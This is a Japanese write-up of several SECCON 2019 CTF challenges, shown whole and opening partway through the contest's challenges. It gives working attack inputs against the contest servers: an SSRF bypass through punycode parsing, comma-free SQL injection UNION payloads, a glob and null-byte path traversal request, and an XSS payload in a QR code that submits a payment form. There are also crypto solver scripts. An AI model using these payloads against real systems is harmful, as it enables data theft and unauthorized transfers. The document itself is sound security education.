Ciphertext 1: たたせくたこたたたんた
Plaintext 1: せくこん
Ciphertext 2: たSたEたたたたたCCたたたたたOたNたたた
Plaintext 2: SECCON
Oh, it's too difficult for you to decrypt? So then... TRY HARDER!
tanuki.txt.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz.gz

半分くらい解凍したところで数十GBになった。Deflateで過去に出現を繰り返すときに、フラグが無いとすでに分かっていればスキップとかするのかな。境界とかを考え出すと大変そうだけど、問題を作る方も大変だろうし、どうにかなっているのかもしれない。

pngbomb (475 pt, 6 solves)

解けなかった。

2147483647×32のPNG画像。64ギガ画素。白黒画像のなので約8GB。Tanukiと違って、この程度なら普通に解凍できそうだと思ったけど……解いている人数が少なくてこの先に罠がありそうなのでスルー。

web

Option-Cmd-U (190 pt, 106 solves)

image.png

コメントを見ると、

index.html
            <section class="section">
                <pre>
                    <!-- src of this PHP script: /index.php?action=source -->
                    <!-- the flag is in /flag.php, which permits access only from internal network :-) -->
                    <!-- this service is running on php-fpm and nginx. see /docker-compose.yml -->
                                    </pre>
            </section>
docker-compose.yml
version: '3'

services:
  nginx:
    (...ommitted...)
  php-fpm:
    (...ommitted...

nginxはソースコード中にも出てくるし、このファイル要る?w

index.php
            <section class="section">
                <pre>
                    <!-- src of this PHP script: /index.php?action=source -->
                    <!-- the flag is in /flag.php, which permits access only from internal network :-) -->
                    <!-- this service is running on php-fpm and nginx. see /docker-compose.yml -->
                    <?php
                    if (isset($_GET['url'])){
                        $url = filter_input(INPUT_GET, 'url');
                        $parsed_url = parse_url($url);                        
                        if($parsed_url["scheme"] !== "http"){
                            // only http: should be allowed. 
                            echo 'URL should start with http!';
                        } else if (gethostbyname(idn_to_ascii($parsed_url["host"], 0, INTL_IDNA_VARIANT_UTS46)) === gethostbyname("nginx")) {
                            // local access to nginx from php-fpm should be blocked.
                            echo 'Oops, are you a robot or an attacker?';
                        } else {
                            // file_get_contents needs idn_to_ascii(): https://stackoverflow.com/questions/40663425/
                            highlight_string(file_get_contents(idn_to_ascii($url, 0, INTL_IDNA_VARIANT_UTS46),
                                                               false,
                                                               stream_context_create(array(
                                                                   'http' => array(
                                                                       'follow_location' => false
                                                                   )
                                                               ))));
                        }
                    }
                    ?>
                </pre>
            </section>

http://ocu.chal.seccon.jp:10000/flag.php をこのサービスで見ると、Forbidden.Your IP: 172.25.0.1。ルーター的なもののIPアドレスは172.25.0.1。ちなみに、最初のうちは172.18.0.1だった。

適当にアドレスを変え、 http://172.25.0.3:10000/flag.php で、Oops, are you a robot or an attacker?。ということは、nginxのIPアドレスは172.25.0.3。PHP-FPMなのでPHPサーバーをHTTPで叩くことはできない。

idn_to_asciiPunycodeへの変換。最初のidn_to_asciiはドメイン名にだけ掛けているのに、ファイルを取得するときはURL全体なのが脆弱性。

URLを http://hoge.fuga@あa.sweetduet.info/flag.php とすると、ドメイン名に対して掛けたときは、 xn--a-w7t.sweetduet.info。URL全体に対して掛けると、単純に.で区切るだけなので、 http://hoge.xn--fuga@a-m43e.sweetduet.info/flag.php

ということで、xn--a-w7t.sweetduet.infoに172.25.0.3を登録してアクセス。最初は:10000にアクセスして悩んでいた。nginxは80ポートでlistenしていた。

作問者の想定解法。

全角は単なるリンク防止ではなくてちゃんと意味がある。半角/に変換されるのか。なるほど。

SECCON{what_a_easy_bypass_314208thg0n423g}

web_search (212 pt, 93 solves)

SQL Injection。ただし、文字や文字列がフィルタリングされている。気が付いたところでは、 , ,, OR

'OORR(1)#と入力したら'OR(1)#となり、フラグ(……の一部)が出てきた。

 :
RFC 8369
Internationalizing IPv6 Using 128-Bit Unicode
RFC 8565
Hypertext Jeopardy Protocol (HTJP/1.0)
RFC 8567
Customer Management DNS Resource Records
FLAG
The flag is "SECCON{Yeah_Sqli_Success_" ... well, the rest of flag is in "flag" table. Try more!

空白の削除は/**/に置き換えて回避。SELECTで使いたい,'は、下記のサイトの通りに。

ZoczuS Blog: SQL Injection without comma char

t'UNION SELECT * FROM (SELECT * FROM flag) AS a JOIN (SELECT 1) AS b JOIN (SELECT 2) AS c#

 ↓

t'UNION/**/SELECT/**/*/**/FROM/**/(SELECT/**/*/**/FROM/**/flag)/**/AS/**/a/**/JOIN/**/(SELECT/**/1)/**/AS/**/b/**/JOIN/**/(SELECT/**/2)/**/AS/**/c#

 :
RFC 6592
The Null Packet
You_Win_Yeah}
1

SECCON{Yeah_Sqli_Success_You_Win_Yeah}

fileserver (345 pt, 39 solves)

こんな感じでファイルサーバーを実装している。

app.rb
 :
def is_bad_path(path)
  bad_char = nil

  %w(* ? [ { \\).each do |char|
    if path.include? char
      bad_char = char
      break
    end
  end

  if bad_char.nil?
    false
  else
    # check if brackets are paired
    if bad_char == ?{
      path[path.index(bad_char)..].include? ?}
    elsif bad_char == ?[
      path[path.index(bad_char)..].include? ?]
    else
      true
    end
  end
end

server.mount_proc '/' do |req, res|
  raise BadRequest if is_bad_path(req.path)

  if req.path.end_with? '/'
    if req.path.include? '.'
      raise BadRequest
    end

    files = Dir.glob(".#{req.path}*")
    res['Content-Type'] = 'text/html'
    res.body = ERB.new(File.read('index.html.erb')).result(binding)
    next
  end

  matches = Dir.glob(req.path[1..])

  if matches.empty?
    raise NotFound
  end

  begin
    file = File.open(matches.first, 'rb')
    res['Content-Type'] = server.config[:MimeTypes][File.extname(req.path)[1..]]
    res.body = file.read(1e6)
  rescue Errno::EISDIR => e
    res.set_redirect(MovedPermanently, req.path + '/')
  end
end
 :

フラグはサーバー起動時に/tmp/flags内にランダムなファイル名で保存される。サーバーは5分ごとに再起動。

is_bad_pathのあたりを色々と悩んだけれど、Dir.globの「パターンを "\0" で区切って 1 度に複数のパターンを指定することもできます。」を使う。

singleton method Dir.[] (Ruby 2.6.0)

HTTPの仕様なのか何なのか、Google Chromeは%00がURLに含まれていると、Google検索に飛ぶ。curlはバイナリデータが含まれているとそのままでは画面に出してくれないので、--output -

$ curl -v http://fileserver.chal.seccon.jp:9292/%00/tmp/flags/ --output -
*   Trying 133.242.21.14...
* TCP_NODELAY set
* Connected to fileserver.chal.seccon.jp (133.242.21.14) port 9292 (#0)
> GET /%00/tmp/flags/ HTTP/1.1
> Host: fileserver.chal.seccon.jp:9292
> User-Agent: curl/7.58.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Content-Type: text/html
< Server: WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01)
< Date: Sun, 20 Oct 2019 08:56:11 GMT
< Content-Length: 737
< Connection: Keep-Alive
<
<!DOCTYPE html>
<meta charset="utf8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Fileserver</title>
<link rel="stylesheet" href="https://unpkg.com/bulmaswatch/cerulean/bulmaswatch.min.css">
<section class="section">
  <div class="container">
    <h1 class="title">Index of / /tmp/flags/</h1>
    <div class="list is-hoverable">

        <a class="list-item" href="/./">./</a>

        <a class="list-item" href="//tmp/flags/s7AD49PrpULN0XCgqJ5nx0yw7ovkusrz.txt">/tmp/flags/s7AD49PrpULN0XCgqJ5nx0yw7ovkusrz.txt</a>

    </div>
    <hr>
    <span class="is-italic">WEBrick/1.5.0 (Ruby/2.6.5/2019-10-01) Server at fileserver.chal.seccon.jp:9292</span>
  </div>
* Connection #0 to host fileserver.chal.seccon.jp left intact
</section>

そのままフラグも出力できると思ったら、File.open

    <H1>Internal Server Error</H1>
    path name contains null byte

手元のirbで動かしてみてもNUL文字は含まれないけど、何なんだろう。

ここでis_bad_pathで悩んでいたことが役に立つ。良く見ると、ファイルを出力するときにはディレクトリトラバーサル対策がなされていない。とはいえ、単純に/../tmp/flags/s7AD49PrpULN0XCgqJ5nx0yw7ovkusrz.txtでは、WEBrickかその前かで、bad URI '/../tmp/flags/'と言われてしまう。/{.}{.}/とすれば良い。{.}is_bad_pathで弾かれるけれど、先に[が引っかかれば、URLに]が無ければ通る。ということで、/{[,}{.}{.}/tmp/flags/s7AD49PrpULN0XCgqJ5nx0yw7ovkusrz.txt[はブラウザはエンコードしないのに、どこかで弾かれるので、%5B

SECCON{You_are_the_Globbin'_Slayer}

SECCON_multiplicater (457 pt, 10 solves)

解けなかった。

bashスクリプトによるCGI。bash の危険な算術式でしょう。ただし、英字は全て除去される。Beeeeeeeeeerみたいなことをやれば良いのかな。

追記

難読化を頑張らなくても、数字は使えるのだから8進数エンコードで良いのか。

SECCON 2019 quals Write-up (Beeeeeeeeeer, SECCON_multiplicater, web_search) - Ryoto Saito's Blog

HakoniwaPay (461 pt, 9 solves)

解けなかった。

image.png

このQRコードにはメッセージが含まれていて、あらかじめHTMLエスケープされている。自分でQRコードを作ればXSSができる。開いた瞬間に送金するQRコードが作れる。……のだけど、作ったQRコードを相手に送信することができない。自分がQRコードを読み込むことができるから、それでスクリプトを動かしてQRコードを送信するのかな。なぜ自分のSelf XSSで苦労しなければいけないんだ :anger: あるいは、QRコード関連の処理はEXEとは別のDLLなので、これを差し替えれば良いのかも。対策されているかもしれないけど。

追記

QRコードを送信するボタンありました……。つらい。

SECCON 2019 Online CTF の write-up - st98 の日記帳

コンテスト中に作っていたQRコード。

HAKONIWA-PAY:REQ:67e47ea5-9f9a-4f63-949d-6923f77d2cf9:d8d0f4c7-5c09-4b74-8a0a-1900ab540afd:7777:hoge</textarea><script>setTimeout(function(){document.forms[0].submit()},1000);</script> で、

qr.png

forensics

repair (452 pt, 11 solves)

解けなかった。

This file lost one sector. Please repair it.
960x540

最初の方が塗りつぶされたAVIファイル。ファイル名は画面サイズでしょう。手元でAVIファイルを作って貼り合わせれば良いのかと思ったけど、コーデックが何なのか分からない。いくつか試したけれど、黒画面か灰色画面かカラフルな砂嵐。

crypto

coffee_break (56 pt, 384 solves)

暗号化するPythonスクリプトと暗号文が渡されるので、逆算する。

solve.py
from Crypto.Cipher import AES
import base64

key1 = "SECCON"
key2 = "seccon2019"

enc2 = base64.b64decode("FyRyZNBO2MG6ncd3hEkC/yeYKUseI/CxYoZiIeV2fe/Jmtwx+WbWmU1gtMX9m905")
cipher = AES.new(key2 + chr(0x00) * (16 - (len(key2) % 16)), AES.MODE_ECB)
enc1 = cipher.decrypt(enc2)
enc1 = enc1[:-ord(enc1[-1])]

def decrypt(key, text):
    s = ""
    for i in range(len(text)):
        s += chr((((ord(text[i]) - 0x20) - (ord(key[i % len(key)]) - 0x20)) % (0x7e - 0x20 + 1)) + 0x20)
    return s
text = decrypt(key1, enc1)

print text

SECCON{Success_Decryption_Yeah_Yeah_SECCON}

Crazy Repetition of Codes (326 pt, 45 solves)

簡単だと思うのだけど、解いている人数が少なくて点数が美味しい。

crc.py
import os
from Crypto.Cipher import AES

def crc32(crc, data):
  crc = 0xFFFFFFFF ^ crc
  for c in data:
    crc = crc ^ ord(c)
    for i in range(8):
      crc = (crc >> 1) ^ (0xEDB88320 * (crc & 1))
  return 0xFFFFFFFF ^ crc

key = b""

crc = 0
for i in range(int("1" * 10000)):
  crc = crc32(crc, "TSG")
assert(crc == 0xb09bc54f)
key += crc.to_bytes(4, byteorder='big')

crc = 0
for i in range(int("1" * 10000)):
  crc = crc32(crc, "is")
key += crc.to_bytes(4, byteorder='big')

crc = 0
for i in range(int("1" * 10000)):
  crc = crc32(crc, "here")
key += crc.to_bytes(4, byteorder='big')

crc = 0
for i in range(int("1" * 10000)):
  crc = crc32(crc, "at")
key += crc.to_bytes(4, byteorder='big')

crc = 0
for i in range(int("1" * 10000)):
  crc = crc32(crc, "SECCON")
key += crc.to_bytes(4, byteorder='big')

crc = 0
for i in range(int("1" * 10000)):
  crc = crc32(crc, "CTF!")
key += crc.to_bytes(4, byteorder='big')

flag = os.environ['FLAG']
assert(len(flag) == 32)

aes = AES.new(key, AES.MODE_ECB)
encoded = aes.encrypt(flag)
assert(encoded.hex() == '79833173d435b6c5d8aa08f790d6b0dc8c4ef525823d4ebdb0b4a8f2090ac81e')

Pythonではちょっと遅いけれど、C++ならばCRCを2^32回試すくらいはたいしたことではない。

solve.cpp
#include <stdio.h>
#include <vector>
#include <string>
using namespace std;

unsigned int T[256];

unsigned int crc32(unsigned int crc, const char *data)
{
    crc ^= 0xffffffff;
    for (; *data; data++)
        crc = T[crc&0xff^*data] ^ crc>>8;
    return crc^0xffffffff;
}

int main()
{
    for (int i=0; i<256; i++)
    {
        unsigned int c = i;
        for (int j=0; j<8; j++)
            c = c&1 ? 0xedb88320^c>>1 : c>>1;
        T[i] = c;
    }

    vector<unsigned int> P(0x100000000LL);
    vector<bool> F(0x100000000LL);
    long long i=0;
    unsigned int crc=0;
    P[crc] = i;
    F[crc] = true;
    while (true)
    {
        crc = crc32(crc, "TSG");
        i++;
        if (F[crc])
        {
            printf("%lld %u", i, P[crc]);
            break;
        }
        F[crc] = true;
        P[crc] = i;

        if ((i&0xfffff)==0)
            printf("%llx\n", i);
    }
}

実験してみたところ、0xffffffff回(0x100000000回ではない)で、crc0に戻る。群の位数がどうたらこうたらという話だろうか、ちなみに0xffffffffは3で割り切れ、長さが3のTSGは0x55555555回でも0に戻る。int("1"*10000)%0xffffffff=169873741回CRCを掛ければ良い。

solve.cpp
 :
int main()
{
    for (int i=0; i<256; i++)
    {
        unsigned int c = i;
        for (int j=0; j<8; j++)
            c = c&1 ? 0xedb88320^c>>1 : c>>1;
        T[i] = c;
    }

    vector<string> S = {"TSG", "is", "here", "at", "SECCON", "CTF!"};
    for (string s: S)
    {
        unsigned int crc = 0;
        for (int i=0; i<169873741; i++)
            crc = crc32(crc, s.c_str());
        printf("%s %08x\n", s.c_str(), crc);
    }
}
TSG b09bc54f
is e4a5927b
here 8d3fef85
at b345bf3f
SECCON 5af656b0
CTF! db496954
solve.py
import os
from Crypto.Cipher import AES

aes = AES.new("b09bc54fe4a5927b8d3fef85b345bf3f5af656b0db496954".decode("hex"), AES.MODE_ECB)
encoded = "79833173d435b6c5d8aa08f790d6b0dc8c4ef525823d4ebdb0b4a8f2090ac81e".decode("hex")
flag = aes.decrypt(encoded)
print flag

SECCON{Ur_Th3_L0rd_0f_the_R1NGs}

23
20
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
23
20

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?